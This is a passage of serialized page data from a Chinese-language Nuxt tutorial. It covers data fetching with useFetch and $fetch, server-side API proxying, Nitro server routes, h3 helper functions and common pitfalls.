",[331,9578,9579],{"class":365},"'https:\u002F\u002Fapi.open-meteo.com'",[331,9581,9582],{"class":337}," })  ",[331,9584,9585],{"class":1003},"\u002F\u002F 这种写法是对的（绝对域名）\n",[331,9587,9588],{"class":333,"line":397},[331,9589,998],{"emptyLinePlaceholder":997},[331,9591,9592],{"class":333,"line":418},[331,9593,9594],{"class":1003},"\u002F\u002F ✓ 正确姿势一：让服务端接口做代理，前端只访问自己\n",[331,9596,9597],{"class":333,"line":427},[331,9598,9599],{"class":1003},"\u002F\u002F   app\u002Fpages\u002F…\n",[331,9601,9602,9604,9606,9608,9611,9614],{"class":333,"line":439},[331,9603,3286],{"class":616},[331,9605,7982],{"class":501},[331,9607,966],{"class":337},[331,9609,9610],{"class":365},"'\u002Fapi\u002Fweather'",[331,9612,9613],{"class":337},")          ",[331,9615,9616],{"class":1003},"\u002F\u002F Nuxt 自己的接口\n",[331,9618,9619],{"class":333,"line":450},[331,9620,9621],{"class":1003},"\u002F\u002F   server\u002Fapi\u002Fweather.get.ts\n",[331,9623,9624,9626,9628,9631,9633,9635,9637,9639,9642],{"class":333,"line":456},[331,9625,5219],{"class":616},[331,9627,5222],{"class":616},[331,9629,9630],{"class":501}," defineEventHandler",[331,9632,1486],{"class":337},[331,9634,1489],{"class":616},[331,9636,8327],{"class":501},[331,9638,966],{"class":337},[331,9640,9641],{"class":365},"'https:\u002F\u002Fapi.open-meteo.com\u002Fv1\u002Fforecast?latitude=…'",[331,9643,8335],{"class":337},[331,9645,9646],{"class":333,"line":775},[331,9647,998],{"emptyLinePlaceholder":997},[331,9649,9650],{"class":333,"line":785},[331,9651,9652],{"class":1003},"\u002F\u002F ✓ 正确姿势二：外部地址写成绝对 URL，并接受「这是服务端发起的请求」\n",[331,9654,9655,9657,9659,9661,9664,9667,9670,9673,9675],{"class":333,"line":795},[331,9656,3286],{"class":616},[331,9658,7982],{"class":501},[331,9660,966],{"class":337},[331,9662,9663],{"class":365},"'https:\u002F\u002Fapi.example.com\u002Fv1\u002Flist'",[331,9665,9666],{"class":337},", { headers: { authorization: ",[331,9668,9669],{"class":365},"`Bearer ${",[331,9671,9672],{"class":337},"token",[331,9674,8524],{"class":365},[331,9676,7256],{"class":337},[11,9678,9679],{},"用服务端代理的三条理由（也是所有「前端不该持有密钥」场景的通用答案）：",[1659,9681,9682,9691,9697],{},[1662,9683,9684,9687,9688,9690],{},[17,9685,9686],{},"密钥不下发","：第三方 token 留在 ",[22,9689,4849],{},"，浏览器看不到（第八章会说到 runtimeConfig）。",[1662,9692,9693,9696],{},[17,9694,9695],{},"绕开 CORS","：服务端之间没有同源限制。",[1662,9698,9699,9702,9703,9706],{},[17,9700,9701],{},"可控","：能加缓存（",[22,9704,9705],{},"swr","）、限流、降级、日志。",[53,9708,9710],{"id":9709},"请求头与-cookie-的透传","请求头与 cookie 的透传",[308,9712,9714],{"className":5205,"code":9713,"language":5207,"meta":314,"style":314},"\u002F\u002F 只在服务端执行：把浏览器带来的 cookie 转交给内部接口\nconst headers = useRequestHeaders(['cookie'])\nconst { data } = await useFetch('\u002Fapi\u002Fme', { headers })\n",[22,9715,9716,9721,9742],{"__ignoreMap":314},[331,9717,9718],{"class":333,"line":334},[331,9719,9720],{"class":1003},"\u002F\u002F 只在服务端执行：把浏览器带来的 cookie 转交给内部接口\n",[331,9722,9723,9725,9728,9730,9733,9736,9739],{"class":333,"line":341},[331,9724,951],{"class":616},[331,9726,9727],{"class":344}," headers",[331,9729,957],{"class":616},[331,9731,9732],{"class":501}," useRequestHeaders",[331,9734,9735],{"class":337},"([",[331,9737,9738],{"class":365},"'cookie'",[331,9740,9741],{"class":337},"])\n",[331,9743,9744,9746,9748,9750,9752,9754,9756,9758,9760,9762],{"class":333,"line":357},[331,9745,951],{"class":616},[331,9747,605],{"class":337},[331,9749,5868],{"class":344},[331,9751,2599],{"class":337},[331,9753,518],{"class":616},[331,9755,1119],{"class":616},[331,9757,7982],{"class":501},[331,9759,966],{"class":337},[331,9761,8466],{"class":365},[331,9763,9764],{"class":337},", { headers })\n",[11,9766,9767,9770,9771,9774],{},[22,9768,9769],{},"useRequestHeaders()"," 在客户端返回空对象——这不是 bug，而是「浏览器本来就会自动带 cookie」。",[17,9772,9773],{},"判断标准","：SSR 阶段的请求需要你手工带上下文（cookie \u002F authorization \u002F user-agent），客户端阶段的请求由浏览器自动带。",[53,9776,9778,5160,9780,9782],{"id":9777},"usefetch-与-fetch-的取舍",[22,9779,5482],{},[22,9781,8269],{}," 的取舍",[57,9784,9785,9795],{},[60,9786,9787],{},[63,9788,9789,9792],{},[66,9790,9791],{},"需求",[66,9793,9794],{},"用什么",[79,9796,9797,9809,9821,9831,9843],{},[63,9798,9799,9802],{},[84,9800,9801],{},"页面渲染需要的数据，要进 SSR HTML 和 payload",[84,9803,9804,1901,9807],{},[22,9805,9806],{},"await useFetch",[22,9808,5485],{},[63,9810,9811,9814],{},[84,9812,9813],{},"用户点按钮才触发的加载（下一页、加载更多）",[84,9815,9816,9818,9819],{},[22,9817,8269],{}," + 本地 ",[22,9820,4778],{},[63,9822,9823,9826],{},[84,9824,9825],{},"提交表单、删除、点赞",[84,9827,9828,9830],{},[22,9829,8269],{},"（写操作不该被缓存）",[63,9832,9833,9836],{},[84,9834,9835],{},"服务端接口内部再调外部 API",[84,9837,9838,4839,9840,9842],{},[22,9839,8269],{},[22,9841,4849],{}," 里，没有 payload 概念）",[63,9844,9845,9848],{},[84,9846,9847],{},"图片\u002F文件下载",[84,9849,9850,1677,9852,9855],{},[22,9851,5482],{},[22,9853,9854],{},"responseType: 'arrayBuffer'"," 或直接浏览器行为",[53,9857,4796],{"id":9858},"️-本章的坑-5",[11,9860,9861,9866],{},[17,9862,9863,9864,161],{},"1. 忘记 ",[22,9865,9434],{}," 4xx\u002F5xx 会 throw，未被捕获时 SSR 阶段直接把页面炸成错误页（客户端则表现为「点了没反应」+ 一条 unhandled rejection）。",[11,9868,9869,9872,9873,9875],{},[17,9870,9871],{},"2. 相对路径当成「浏览器地址」。"," 上面整节讲的就是它。症状很迷惑：",[22,9874,5058],{}," 里正常，部署到别的域名\u002F子路径后接口全 404。",[11,9877,9878,9883,9884,9886],{},[17,9879,6665,9880,9882],{},[22,9881,8844],{}," 与绝对 URL 同时给。"," 一旦请求字符串里有协议+域名，",[22,9885,8844],{}," 被忽略，请求发往你以为没在用的地址。二选一。",[11,9888,9889,268,9892,9895,9896,161],{},[17,9890,9891],{},"4. POST 被自动重试造成重复下单。",[22,9893,9894],{},"retry"," 默认对幂等请求生效；把写操作设计成非幂等时显式写 ",[22,9897,9898],{},"retry: 0",[11,9900,9901,268,9909,9911,9912,9914,9915,9917,9918,5760,9921,4813],{},[17,9902,9903,9904,9906,9907,161],{},"5. ",[22,9905,1125],{}," 里塞 ",[22,9908,5872],{},[22,9910,9248],{}," 会跳过 ",[22,9913,5872],{},"，但序列化 ",[22,9916,5858],{},"\u002F空串——「接口收到的 query 和预期不一致」时先打印实际 URL（",[22,9919,9920],{},"onRequest",[22,9922,9923],{},"console.log(options.url + options.query)",[11,9925,9926,268,9929,9932,9933,9936,9937,6745,9940,9943,9944,9947],{},[17,9927,9928],{},"6. 数组查询参数的编码格式。",[22,9930,9931],{},"query: { ids: [1, 2] }"," 编成 ",[22,9934,9935],{},"ids=1&ids=2","；不少后端要的是 ",[22,9938,9939],{},"ids[]=1",[22,9941,9942],{},"ids=1,2","。用 ",[22,9945,9946],{},"query: { ids: ids.join(',') }"," 明确格式，别赌框架默认。",[11,9949,9950,9958],{},[17,9951,9952,9953,5760,9956,161],{},"7. 在 ",[22,9954,9955],{},"onRequestError",[22,9957,2507],{}," 拦截器里的异常会覆盖原始错误，排查时会看到「错误来源不明」。回调里只做记录，改写结果请返回新值。",[11,9960,9961,9968,9969,9972,9973,6745,9975,4813],{},[17,9962,9963,9964,9967],{},"8. 服务端拿不到 ",[22,9965,9966],{},"useRequestHeaders"," 之外的浏览器状态。"," localStorage、",[22,9970,9971],{},"navigator"," 一律为空。要这类信息就放到客户端再取（",[22,9974,8762],{},[22,9976,7850],{},[53,9978,9980,9981,9983],{"id":9979},"附fetch-错误对象形状","附：",[22,9982,8269],{}," 错误对象形状",[57,9985,9986,9995],{},[60,9987,9988],{},[63,9989,9990,9992],{},[66,9991,1872],{},[66,9993,9994],{},"内容",[79,9996,9997,10011,10031,10045,10055],{},[63,9998,9999,10004],{},[84,10000,10001],{},[22,10002,10003],{},"error.message",[84,10005,10006,10007,10010],{},"文本描述（",[22,10008,10009],{},"404 Not Found: \u002Fapi\u002Fx"," 这类）",[63,10012,10013,10018],{},[84,10014,10015],{},[22,10016,10017],{},"error.response",[84,10019,10020,10021,10024,10025,272,10028,5149],{},"原生 ",[22,10022,10023],{},"Response"," 对象（",[22,10026,10027],{},".status",[22,10029,10030],{},".headers",[63,10032,10033,10038],{},[84,10034,10035],{},[22,10036,10037],{},"error.data",[84,10039,10040,10041,10044],{},"解析后的响应体（后端返回的 ",[22,10042,10043],{},"{ code, message }"," 在这里）",[63,10046,10047,10052],{},[84,10048,10049],{},[22,10050,10051],{},"error.options",[84,10053,10054],{},"本次请求的配置（URL、method、headers）",[63,10056,10057,10060],{},[84,10058,10059],{},"判定位置",[84,10061,10062,10063,10065,10066],{},"4xx\u002F5xx → ",[22,10064,9438],{},"；网络\u002FDNS\u002F取消 → ",[22,10067,9955],{},[48,10069,10071,10072,10074],{"id":10070},"七服务端引擎-nitroserver-里的文件就是接口","七、服务端引擎 Nitro：",[22,10073,4849],{}," 里的文件就是接口",[11,10076,10077,10079,10080,10082,10083,161],{},[22,10078,4569],{}," 出静态站时不需要它；但只要你需要「有秘密参与」或「按请求计算」的功能（登录、上传、支付回调、爬虫代理、读文件），",[22,10081,4849],{}," 就是最短路径——",[17,10084,10085],{},"不用另起一个后端项目",[53,10087,10088],{"id":10088},"一个接口三步",[308,10090,10092],{"className":5205,"code":10091,"language":5207,"meta":314,"style":314},"\u002F\u002F server\u002Fapi\u002Fnotes\u002Findex.get.ts\nexport default defineEventHandler(async (event) => {\n  const { q = '', page = '1' } = getQuery(event)\n  const list = await useDb(event).note.search({ q, page: Number(page) })\n  return { total: list.length, items: list.map(slim) }     \u002F\u002F 返回值 = JSON 响应体\n})\n",[22,10093,10094,10099,10122,10154,10183,10205],{"__ignoreMap":314},[331,10095,10096],{"class":333,"line":334},[331,10097,10098],{"class":1003},"\u002F\u002F server\u002Fapi\u002Fnotes\u002Findex.get.ts\n",[331,10100,10101,10103,10105,10107,10109,10111,10113,10116,10118,10120],{"class":333,"line":341},[331,10102,5219],{"class":616},[331,10104,5222],{"class":616},[331,10106,9630],{"class":501},[331,10108,966],{"class":337},[331,10110,1063],{"class":616},[331,10112,1147],{"class":337},[331,10114,10115],{"class":2472},"event",[331,10117,3180],{"class":337},[331,10119,1489],{"class":616},[331,10121,1100],{"class":337},[331,10123,10124,10126,10128,10131,10133,10135,10137,10139,10141,10144,10146,10148,10151],{"class":333,"line":357},[331,10125,1496],{"class":616},[331,10127,605],{"class":337},[331,10129,10130],{"class":344},"q",[331,10132,957],{"class":616},[331,10134,1203],{"class":365},[331,10136,409],{"class":337},[331,10138,2011],{"class":344},[331,10140,957],{"class":616},[331,10142,10143],{"class":365}," '1'",[331,10145,2599],{"class":337},[331,10147,518],{"class":616},[331,10149,10150],{"class":501}," getQuery",[331,10152,10153],{"class":337},"(event)\n",[331,10155,10156,10158,10161,10163,10165,10168,10171,10174,10177,10180],{"class":333,"line":371},[331,10157,1496],{"class":616},[331,10159,10160],{"class":344}," list",[331,10162,957],{"class":616},[331,10164,1119],{"class":616},[331,10166,10167],{"class":501}," useDb",[331,10169,10170],{"class":337},"(event).note.",[331,10172,10173],{"class":501},"search",[331,10175,10176],{"class":337},"({ q, page: ",[331,10178,10179],{"class":501},"Number",[331,10181,10182],{"class":337},"(page) })\n",[331,10184,10185,10187,10190,10193,10196,10199,10202],{"class":333,"line":384},[331,10186,1633],{"class":616},[331,10188,10189],{"class":337}," { total: list.",[331,10191,10192],{"class":344},"length",[331,10194,10195],{"class":337},", items: list.",[331,10197,10198],{"class":501},"map",[331,10200,10201],{"class":337},"(slim) }     ",[331,10203,10204],{"class":1003},"\u002F\u002F 返回值 = JSON 响应体\n",[331,10206,10207],{"class":333,"line":397},[331,10208,5399],{"class":337},[57,10210,10211,10224],{},[60,10212,10213],{},[63,10214,10215,10218,10221],{},[66,10216,10217],{},"文件写法",[66,10219,10220],{},"生成的 URL",[66,10222,10223],{},"方法",[79,10225,10226,10241,10255,10269,10284,10299,10322,10334],{},[63,10227,10228,10233,10238],{},[84,10229,10230],{},[22,10231,10232],{},"server\u002Fapi\u002Fnotes.get.ts",[84,10234,10235],{},[22,10236,10237],{},"\u002Fapi\u002Fnotes",[84,10239,10240],{},"GET",[63,10242,10243,10248,10252],{},[84,10244,10245],{},[22,10246,10247],{},"server\u002Fapi\u002Fnotes.post.ts",[84,10249,10250],{},[22,10251,10237],{},[84,10253,10254],{},"POST",[63,10256,10257,10262,10266],{},[84,10258,10259],{},[22,10260,10261],{},"server\u002Fapi\u002Fnotes\u002Findex.get.ts",[84,10263,10264],{},[22,10265,10237],{},[84,10267,10268],{},"GET（与上面等价，用于同目录多方法）",[63,10270,10271,10276,10281],{},[84,10272,10273],{},[22,10274,10275],{},"server\u002Fapi\u002Fnotes\u002F[id].delete.ts",[84,10277,10278],{},[22,10279,10280],{},"\u002Fapi\u002Fnotes\u002F:id",[84,10282,10283],{},"DELETE",[63,10285,10286,10291,10296],{},[84,10287,10288],{},[22,10289,10290],{},"server\u002Fapi\u002Fsearch.ts",[84,10292,10293],{},[22,10294,10295],{},"\u002Fapi\u002Fsearch",[84,10297,10298],{},"任意（不限制方法）",[63,10300,10301,10306,10311],{},[84,10302,10303],{},[22,10304,10305],{},"server\u002Froutes\u002Fhealth.get.ts",[84,10307,10308],{},[22,10309,10310],{},"\u002Fhealth",[84,10312,10313,10314,10317,10318,10321],{},"GET（",[22,10315,10316],{},"routes\u002F"," 不带 ",[22,10319,10320],{},"\u002Fapi"," 前缀）",[63,10323,10324,10329,10331],{},[84,10325,10326],{},[22,10327,10328],{},"server\u002Fmiddleware\u002Flog.ts",[84,10330,5122],{},[84,10332,10333],{},"每个请求前跑",[63,10335,10336,10341,10343],{},[84,10337,10338],{},[22,10339,10340],{},"server\u002Futils\u002Fdb.ts",[84,10342,5122],{},[84,10344,10345,10346],{},"不是接口，被自动导入成 ",[22,10347,5601],{},[11,10349,10350,10351,1901,10354,1901,10357,1901,10360,1901,10363,1901,10366,1901,10369,4813,10372,10375,10376,5160,10379,10382],{},"后缀决定方法（",[22,10352,10353],{},".get",[22,10355,10356],{},".post",[22,10358,10359],{},".put",[22,10361,10362],{},".patch",[22,10364,10365],{},".delete",[22,10367,10368],{},".head",[22,10370,10371],{},".options",[17,10373,10374],{},"一个文件一个方法","是约定，同一资源的不同方法就分文件写（示例 06 演示了 ",[22,10377,10378],{},"[id].get.ts",[22,10380,10381],{},"[id].patch.ts"," 各自命中）。",[53,10384,10386],{"id":10385},"handler-里常用的工具","handler 里常用的工具",[308,10388,10390],{"className":5205,"code":10389,"language":5207,"meta":314,"style":314},"export default defineEventHandler(async (event) => {\n  const id = getRouterParam(event, 'id')                 \u002F\u002F 路径参数\n  const query = getQuery(event)                          \u002F\u002F ?a=1\n  const body = await readBody(event)                     \u002F\u002F JSON 请求体\n  const raw = await readRawBody(event)                   \u002F\u002F 原始文本\n  const file = await readMultipartFormData(event)        \u002F\u002F 上传（数组，每项有 filename\u002Fdata）\n  const cookie = getCookie(event, 'sid')\n\n  setHeader(event, 'cache-control', 's-maxage=60, stale-while-revalidate')\n  setResponseStatus(event, 201)\n  setCookie(event, 'sid', 'abc', { httpOnly: true, sameSite: 'lax', maxAge: 60 * 60 * 24 })\n\n  if (!id) throw createError({ statusCode: 400, statusMessage: '缺少 id' })\n  return { ok: true, id }                                \u002F\u002F ← 返回即响应；后面别再手写 res\n})\n",[22,10391,10392,10414,10436,10453,10473,10493,10513,10532,10536,10553,10565,10608,10612,10639,10654],{"__ignoreMap":314},[331,10393,10394,10396,10398,10400,10402,10404,10406,10408,10410,10412],{"class":333,"line":334},[331,10395,5219],{"class":616},[331,10397,5222],{"class":616},[331,10399,9630],{"class":501},[331,10401,966],{"class":337},[331,10403,1063],{"class":616},[331,10405,1147],{"class":337},[331,10407,10115],{"class":2472},[331,10409,3180],{"class":337},[331,10411,1489],{"class":616},[331,10413,1100],{"class":337},[331,10415,10416,10418,10420,10422,10425,10428,10430,10433],{"class":333,"line":341},[331,10417,1496],{"class":616},[331,10419,827],{"class":344},[331,10421,957],{"class":616},[331,10423,10424],{"class":501}," getRouterParam",[331,10426,10427],{"class":337},"(event, ",[331,10429,7999],{"class":365},[331,10431,10432],{"class":337},")                 ",[331,10434,10435],{"class":1003},"\u002F\u002F 路径参数\n",[331,10437,10438,10440,10443,10445,10447,10450],{"class":333,"line":357},[331,10439,1496],{"class":616},[331,10441,10442],{"class":344}," query",[331,10444,957],{"class":616},[331,10446,10150],{"class":501},[331,10448,10449],{"class":337},"(event)                          ",[331,10451,10452],{"class":1003},"\u002F\u002F ?a=1\n",[331,10454,10455,10457,10460,10462,10464,10467,10470],{"class":333,"line":371},[331,10456,1496],{"class":616},[331,10458,10459],{"class":344}," body",[331,10461,957],{"class":616},[331,10463,1119],{"class":616},[331,10465,10466],{"class":501}," readBody",[331,10468,10469],{"class":337},"(event)                     ",[331,10471,10472],{"class":1003},"\u002F\u002F JSON 请求体\n",[331,10474,10475,10477,10480,10482,10484,10487,10490],{"class":333,"line":384},[331,10476,1496],{"class":616},[331,10478,10479],{"class":344}," raw",[331,10481,957],{"class":616},[331,10483,1119],{"class":616},[331,10485,10486],{"class":501}," readRawBody",[331,10488,10489],{"class":337},"(event)                   ",[331,10491,10492],{"class":1003},"\u002F\u002F 原始文本\n",[331,10494,10495,10497,10500,10502,10504,10507,10510],{"class":333,"line":397},[331,10496,1496],{"class":616},[331,10498,10499],{"class":344}," file",[331,10501,957],{"class":616},[331,10503,1119],{"class":616},[331,10505,10506],{"class":501}," readMultipartFormData",[331,10508,10509],{"class":337},"(event)        ",[331,10511,10512],{"class":1003},"\u002F\u002F 上传（数组，每项有 filename\u002Fdata）\n",[331,10514,10515,10517,10520,10522,10525,10527,10530],{"class":333,"line":418},[331,10516,1496],{"class":616},[331,10518,10519],{"class":344}," cookie",[331,10521,957],{"class":616},[331,10523,10524],{"class":501}," getCookie",[331,10526,10427],{"class":337},[331,10528,10529],{"class":365},"'sid'",[331,10531,972],{"class":337},[331,10533,10534],{"class":333,"line":427},[331,10535,998],{"emptyLinePlaceholder":997},[331,10537,10538,10541,10543,10546,10548,10551],{"class":333,"line":439},[331,10539,10540],{"class":501},"  setHeader",[331,10542,10427],{"class":337},[331,10544,10545],{"class":365},"'cache-control'",[331,10547,409],{"class":337},[331,10549,10550],{"class":365},"'s-maxage=60, stale-while-revalidate'",[331,10552,972],{"class":337},[331,10554,10555,10558,10560,10563],{"class":333,"line":450},[331,10556,10557],{"class":501},"  setResponseStatus",[331,10559,10427],{"class":337},[331,10561,10562],{"class":344},"201",[331,10564,972],{"class":337},[331,10566,10567,10570,10572,10574,10576,10579,10582,10584,10587,10590,10593,10596,10598,10601,10603,10606],{"class":333,"line":456},[331,10568,10569],{"class":501},"  setCookie",[331,10571,10427],{"class":337},[331,10573,10529],{"class":365},[331,10575,409],{"class":337},[331,10577,10578],{"class":365},"'abc'",[331,10580,10581],{"class":337},", { httpOnly: ",[331,10583,1131],{"class":344},[331,10585,10586],{"class":337},", sameSite: ",[331,10588,10589],{"class":365},"'lax'",[331,10591,10592],{"class":337},", maxAge: ",[331,10594,10595],{"class":344},"60",[331,10597,1045],{"class":616},[331,10599,10600],{"class":344}," 60",[331,10602,1045],{"class":616},[331,10604,10605],{"class":344}," 24",[331,10607,1139],{"class":337},[331,10609,10610],{"class":333,"line":775},[331,10611,998],{"emptyLinePlaceholder":997},[331,10613,10614,10616,10618,10620,10623,10625,10627,10629,10632,10634,10637],{"class":333,"line":785},[331,10615,1526],{"class":616},[331,10617,1147],{"class":337},[331,10619,1150],{"class":616},[331,10621,10622],{"class":337},"id) ",[331,10624,2507],{"class":616},[331,10626,7396],{"class":501},[331,10628,7399],{"class":337},[331,10630,10631],{"class":344},"400",[331,10633,7405],{"class":337},[331,10635,10636],{"class":365},"'缺少 id'",[331,10638,1139],{"class":337},[331,10640,10641,10643,10646,10648,10651],{"class":333,"line":795},[331,10642,1633],{"class":616},[331,10644,10645],{"class":337}," { ok: ",[331,10647,1131],{"class":344},[331,10649,10650],{"class":337},", id }                                ",[331,10652,10653],{"class":1003},"\u002F\u002F ← 返回即响应；后面别再手写 res\n",[331,10655,10656],{"class":333,"line":805},[331,10657,5399],{"class":337},[11,10659,10660,10661,10666,10667,10670],{},"规则一句话：",[17,10662,10663,10665],{},[22,10664,1063],{}," handler 里，返回值就是响应体。"," 不要用 ",[22,10668,10669],{},"event.node.res.end()","（除非你确定要接管原始响应，比如流式\u002F重定向），否则会出现「已经返回了但连接没关」或「双重写入」的诡异行为。",[53,10672,10673],{"id":10673},"前端怎么调它",[308,10675,10677],{"className":5996,"code":10676,"language":5998,"meta":314,"style":314},"\u003Cscript setup>\n\u002F\u002F SSR 阶段：这个请求不经过网络，Nitro 内部直接调用 handler（快、无 CORS、无 baseURL 问题）\nconst { data: notes } = await useFetch('\u002Fapi\u002Fnotes', { query: { page: 1 } })\n\u003C\u002Fscript>\n",[22,10678,10679,10689,10694,10726],{"__ignoreMap":314},[331,10680,10681,10683,10685,10687],{"class":333,"line":334},[331,10682,510],{"class":337},[331,10684,891],{"class":497},[331,10686,6299],{"class":501},[331,10688,505],{"class":337},[331,10690,10691],{"class":333,"line":341},[331,10692,10693],{"class":1003},"\u002F\u002F SSR 阶段：这个请求不经过网络，Nitro 内部直接调用 handler（快、无 CORS、无 baseURL 问题）\n",[331,10695,10696,10698,10700,10702,10704,10707,10709,10711,10713,10715,10717,10720,10722,10724],{"class":333,"line":357},[331,10697,951],{"class":616},[331,10699,605],{"class":337},[331,10701,5868],{"class":2472},[331,10703,348],{"class":337},[331,10705,10706],{"class":344},"notes",[331,10708,2599],{"class":337},[331,10710,518],{"class":616},[331,10712,1119],{"class":616},[331,10714,7982],{"class":501},[331,10716,966],{"class":337},[331,10718,10719],{"class":365},"'\u002Fapi\u002Fnotes'",[331,10721,7990],{"class":337},[331,10723,7993],{"class":344},[331,10725,7256],{"class":337},[331,10727,10728,10730,10732],{"class":333,"line":371},[331,10729,788],{"class":337},[331,10731,891],{"class":497},[331,10733,505],{"class":337},[11,10735,10736,10739],{},[22,10737,10738],{},"\u003CNuxtLink to=\"\u002Fapi\u002Fnotes\">"," 之类直接访问也能工作——部署时它就是普通的 HTTP 接口。",[53,10741,10742],{"id":10742},"环境变量与密钥的位置",[11,10744,10745,10747,10748,10751,10752,10755,10756,10762],{},[22,10746,4849],{}," 里读环境变量用 ",[22,10749,10750],{},"useRuntimeConfig()","（第八章），或 Nitro 的 ",[22,10753,10754],{},"process.env","（只在服务端可见）。",[17,10757,10758,10759,10761],{},"密钥永远不要出现在 ",[22,10760,4838],{}," 下的代码里","——打包产物是给人下载的文件。",[4748,10764],{"height":5188,"src":10765,"title":10766},"\u002Ftutorials\u002Fnuxt\u002Fdemos\u002F06-server-api.html","示例 06：server 目录文件 → URL\u002F方法 三栏联动",[53,10768,4796],{"id":10769},"️-本章的坑-6",[11,10771,10772,10777,10778,10781,10782,10785,10786,10788,10789,10791],{},[17,10773,8723,10774,10776],{},[22,10775,8836],{}," 与前端路由撞名。"," 有人把接口放 ",[22,10779,10780],{},"app\u002Fpages\u002Fapi\u002F…","（当页面渲染了）或把页面放 ",[22,10783,10784],{},"server\u002Fapi\u002F…","（当成接口了）。分界很清楚：",[22,10787,4849],{}," 是接口，",[22,10790,4635],{}," 是页面。",[11,10793,10794,268,10797,10800,10801,10804,10805,161],{},[17,10795,10796],{},"2. 忘写方法后缀。",[22,10798,10799],{},"server\u002Fapi\u002Fnotes.ts"," 会接受",[17,10802,10803],{},"所有方法","——一个本该只读的接口就这样成了 POST 入口。显式 ",[22,10806,10807],{},".get.ts",[11,10809,10810,10817,10818,10820],{},[17,10811,10812,10813,10816],{},"3. 在 handler 里 ",[22,10814,10815],{},"console.log"," 当调试手段，客户端看不到。"," 服务端日志打印在跑 ",[22,10819,5058],{}," 的那个终端里，不是浏览器控制台。「接口没反应」先去终端找。",[11,10822,10823,10829,10830,1901,10833,161],{},[17,10824,7689,10825,10828],{},[22,10826,10827],{},"readBody"," 对 GET 请求没意义。"," 有些客户端发 GET 带 body，Nitro 默认不解析；参数请用 ",[22,10831,10832],{},"getQuery",[22,10834,10835],{},"getRouterParam",[11,10837,10838,10844,10845,10848,10849,161],{},[17,10839,10840,10841,161],{},"5. 上传文件没配 ",[22,10842,10843],{},"bodySizeLimit"," 大文件被截断或 413。事件里用 ",[22,10846,10847],{},"readMultipartFormData(event, { limit })","，并同步调 Nginx 的 ",[22,10850,10851],{},"client_max_body_size",[11,10853,10854,10861,10862,10865,10866,10869],{},[17,10855,10856,10857,10860],{},"6. 直接 ",[22,10858,10859],{},"return"," 了 Buffer\u002Fstream 却忘了设头。"," 返回二进制请 ",[22,10863,10864],{},"setHeader(event, 'content-type', 'application\u002Fpdf')"," 再送（或用 ",[22,10867,10868],{},"event.node.res"," 明确接管）。",[11,10871,10872,10875,10876,1677,10878,655,10880,10883,10884,322],{},[17,10873,10874],{},"7. 在接口里做重计算，没加缓存。"," 每次请求都全量算 → CPU 打满。用 ",[22,10877,4586],{},[22,10879,9705],{},[22,10881,10882],{},"isr","（第九章）或 ",[22,10885,10886],{},"defineCachedEventHandler",[308,10888,10890],{"className":5205,"code":10889,"language":5207,"meta":314,"style":314},"export default defineCachedEventHandler(async () => heavy(), { maxAge: 60, swr: true, name: 'report' })\n",[22,10891,10892],{"__ignoreMap":314},[331,10893,10894,10896,10898,10901,10903,10905,10907,10909,10912,10915,10917,10920,10922,10924,10927],{"class":333,"line":334},[331,10895,5219],{"class":616},[331,10897,5222],{"class":616},[331,10899,10900],{"class":501}," defineCachedEventHandler",[331,10902,966],{"class":337},[331,10904,1063],{"class":616},[331,10906,7268],{"class":337},[331,10908,1489],{"class":616},[331,10910,10911],{"class":501}," heavy",[331,10913,10914],{"class":337},"(), { maxAge: ",[331,10916,10595],{"class":344},[331,10918,10919],{"class":337},", swr: ",[331,10921,1131],{"class":344},[331,10923,5385],{"class":337},[331,10925,10926],{"class":365},"'report'",[331,10928,1139],{"class":337},[11,10930,10931,268,10937,10940,10941,161],{},[17,10932,10933,10934,10936],{},"8. 中间件里 ",[22,10935,10859],{}," 了东西。",[22,10938,10939],{},"server\u002Fmiddleware\u002F*.ts"," 的返回值会被忽略（它是「路过看一眼」的角色）；要拦截请 ",[22,10942,10943],{},"throw createError(...)",[11,10945,10946,10953,10954,10956],{},[17,10947,10948,10949,10952],{},"9. dev 环境改 ",[22,10950,10951],{},"server\u002Futils"," 后类型没更新。"," 跑 ",[22,10955,5130],{}," 或重启 dev server，TS 服务才会重新读自动导入声明。",[53,10958,10960],{"id":10959},"附h3-工具函数速查","附：h3 工具函数速查",[57,10962,10963,10972],{},[60,10964,10965],{},[63,10966,10967,10970],{},[66,10968,10969],{},"工具",[66,10971,7759],{},[79,10973,10974,10984,10994,11007,11020,11033,11049,11065,11075,11085,11098,11107,11125],{},[63,10975,10976,10981],{},[84,10977,10978],{},[22,10979,10980],{},"defineEventHandler(fn)",[84,10982,10983],{},"声明一个 handler（唯一的入口包装）",[63,10985,10986,10991],{},[84,10987,10988],{},[22,10989,10990],{},"getQuery(event)",[84,10992,10993],{},"解析查询串成对象",[63,10995,10996,11004],{},[84,10997,10998,1901,11001],{},[22,10999,11000],{},"getRouterParam(event, 'id')",[22,11002,11003],{},"event.context.params",[84,11005,11006],{},"路径参数",[63,11008,11009,11017],{},[84,11010,11011,1901,11014],{},[22,11012,11013],{},"readBody(event)",[22,11015,11016],{},"readValidatedBody(event, schema)",[84,11018,11019],{},"请求体（后者可配 zod 校验）",[63,11021,11022,11030],{},[84,11023,11024,1901,11027],{},[22,11025,11026],{},"readRawBody",[22,11028,11029],{},"readMultipartFormData",[84,11031,11032],{},"原始体 \u002F 表单上传",[63,11034,11035,11046],{},[84,11036,11037,1901,11040,1901,11043],{},[22,11038,11039],{},"getCookie",[22,11041,11042],{},"setCookie",[22,11044,11045],{},"deleteCookie",[84,11047,11048],{},"cookie",[63,11050,11051,11062],{},[84,11052,11053,1901,11056,1901,11059],{},[22,11054,11055],{},"getHeader",[22,11057,11058],{},"setHeader",[22,11060,11061],{},"setHeaders",[84,11063,11064],{},"请求\u002F响应头",[63,11066,11067,11072],{},[84,11068,11069],{},[22,11070,11071],{},"setResponseStatus(event, code, msg)",[84,11073,11074],{},"状态码",[63,11076,11077,11082],{},[84,11078,11079],{},[22,11080,11081],{},"sendRedirect(event, url, code)",[84,11083,11084],{},"3xx",[63,11086,11087,11092],{},[84,11088,11089],{},[22,11090,11091],{},"createError({ statusCode, statusMessage })",[84,11093,11094,11095,11097],{},"抛出结构化错误（前端 ",[22,11096,10037],{}," 能拿到）",[63,11099,11100,11104],{},[84,11101,11102],{},[22,11103,10750],{},[84,11105,11106],{},"运行时配置（第八章）",[63,11108,11109,11114],{},[84,11110,11111],{},[22,11112,11113],{},"defineCachedEventHandler(fn, 